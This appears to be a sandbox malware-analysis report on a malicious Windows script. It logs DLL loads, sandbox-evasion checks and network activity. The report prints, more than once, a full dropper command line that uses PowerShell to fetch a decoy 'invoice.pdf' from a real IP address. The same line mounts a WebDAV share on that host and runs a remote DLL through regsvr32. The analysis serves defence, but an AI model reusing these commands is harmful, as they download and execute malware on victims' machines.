Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5291.js.csv");ITextStream.WriteLine(" entry:8241 f:xavhor");ITextStream.WriteLine(" exec:2 f:xavhor");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3979			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4483			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3364	Thread sleep count: 3979 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3160	Thread sleep count: 4483 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4352	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5164	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5820	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1988	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000001.00000003.1477506663.00000204DEDF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000003.1537474157.000001F1D44F3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1540038628.000001F1D4488000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1540113764.000001F1D44F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2769081744.000001AA72A54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2767692274.000001AA6D22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

